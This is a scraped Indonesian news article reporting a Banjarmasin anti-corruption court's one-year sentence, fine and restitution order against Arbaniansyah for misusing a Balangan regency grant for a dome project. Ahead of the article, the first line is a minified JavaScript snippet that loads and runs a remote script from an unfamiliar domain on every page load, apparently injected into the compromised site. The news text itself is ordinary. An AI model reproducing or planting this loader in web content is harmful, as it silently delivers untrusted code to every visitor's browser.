(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Majelis hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin menjatuhkan pidana 1 tahun kepada Arbaniansyah, terdakwa kasus korupsi dana hibah pembangunan kubah di Desa Lajar, Kecamatan Lampihong dari Pemerintah Kabupaten (Pemkab) Balangan.
Oleh majelis hakim, warga Lampihong itu dinyatakan tidak terbukti bersalah sebagaimana dakwaan primair jaksa penuntut umum (JPU) pasal 2 jo pasal 18 Undang-Undang Nomor 21 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.
Akan tetapi, Arbaniansyah dinyatakan terbukti bersalah melanggar pasal 3 jo pasal 18 Undang-Undang Nomor 21 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagaimana dakwan subsider JPU. Tak ayal putusan majelis hakim pun cukup ringan dan hanya berbeda 3 bulan dari tuntutan JPU.
Baca juga: Calo Kredit Kupedes Fiktif Bank BUMN di Banjarbaru Vonis 4 Tahun Penjara
“Menjatuhkan pidana penjara 1 tahun dan denda Rp50 juta, apabila denda tidak dibayar diganti dengan 1 bulan kurungan,” ucap Ketua Majelis Hakim Jamser Simanjuntak saat membacakan amar putusan didampingi dua hakim anggota, Rabu (12/6/2024) siang.
Selain pidana penjara dan denda, majelis hakim Pengadilan Tipikor Banjarmasin juga menghukum tedakwa Arbaniansyah untuk membayar uang pengganti kerugian negara sebesar Rp115,4 juta.
Akan tetapi, kata Jamser, uang pengganti tersebut akan dihitung dengan uang yang sudah dikembalikan atau dititipkan terdakwa melalui penasehat hukum ke Kejaksaan Negeri (Kejari) Balangan.
“Uang yang dititipkan penasehat hukum terdakwa sebesar Rp115,4 juta dirampas untuk negara dan diperhitungkan sebagai uang pengganti kerugian negara,” kata Jamser.
Baca juga: Musim Kemarau di Kalsel Diprediksi Merata Juli-Agustus
Usai pembacaan putusan, terdakwa melalui penasehat hukum tanpa berpikir panjang langsung menyatakan sikap menerima putusan majelis hakim satu tahun penjara alias tidak mengajukan upaya hukum banding.
“Menerima yang mulia,” kata Arbain.
Meskipun putusan lebih ringan dari tuntutan 1 tahun 3 bulan penjara, tim JPU dari Kejari Balangan langsung menyatakan sikap sama yaitu menerima putusan majelis hakim Pengadilan Tipikor Banjarmasin.
Diketahui dalam dakwan JPU, terdakwa Arbaniansyah dituduh telah melakukan penyelewengan dana hibah dari Pemkab Balangan untuk pembangunan kubah Datu Adul di Desa Lajar, Kecamatan Lampihong, Kabupaten Balangan pada tahun 2022.
Nilai hibah yang diterima yaitu sekitar Rp200 juta, namun terdakwa selaku ketua pengurus kubah yang mengajukan dan menerima hibah tidak menyelesaikan pembangunan kubah hingga batas akhir waktu pertanggungjawaban dana hibah, sehingga ditemukan adanya kerugian negara.
Baca juga: Si Melon Mahal, Begini Suara Wakil Rakyat Banjarbaru
Dari hasil audit, niliai kerugian negara yang muncul pada pembangunan kubah yang dikelola terdakwa tersebut mencapai Rp115,4 juta.
Sejak proses penyidikan, terdakwa Arbaniansyah telah dialkukan penahanan dan saat proses persidangan dirinya ditahan di Lembaga Pemasyarakatan (Lapas). (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More
KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More
This website uses cookies.